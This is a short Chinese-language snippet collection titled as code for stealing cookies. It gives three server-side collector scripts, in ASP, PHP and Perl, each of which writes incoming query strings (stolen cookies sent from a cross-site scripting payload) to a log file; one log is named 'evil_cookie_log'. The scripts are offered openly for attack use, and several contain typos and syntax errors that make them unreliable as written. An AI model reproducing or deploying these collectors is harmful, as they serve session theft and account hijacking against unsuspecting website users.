ASP盗取cookies的代码

             <%                dim strfilename                 strfilename = " mydata.txt "  //数据库文件存放目录                set lP=server.createObject("Adodb.Stream")                lP.Open                lP.Type=2                lP.CharSet="gb2312"                lP.writetext request.Servervariables ("QUERY_STRING")                lP.SaveToFile server.mappath (strfilename),2                lP.Close                set lP=noting               &> PHP盗取cookies的代码              <?php                 $info = getenv ("QUERY_STRING");                 if ($info)                   {                    $info=urldecode($info);                    $fp = fopen("info.txt","a");                    fwirte($fp,$info."\n\n\n\n");                    fclose($fp);                   }                 ?>

Perl盗取cookies代码

              #！/usr/bin/perl               $borrowed_info = $ENV {'QUERY_STRING'};               $borrowed_info = ~ s/%（[a-fA-f0-9][a-fA-F0-9]）/pack("C",hex($1))/eg;               open(EVIL_COOKIE_LOG,">>evil_cookie_log") or print "Content-type:               text/html\n\n something went wrong\n";               print EVIL_COOKIE_LOG "$borrowed_info\n";               print "Content-type: text/html\n\n";               close (EVIL_COOKIE_LOG);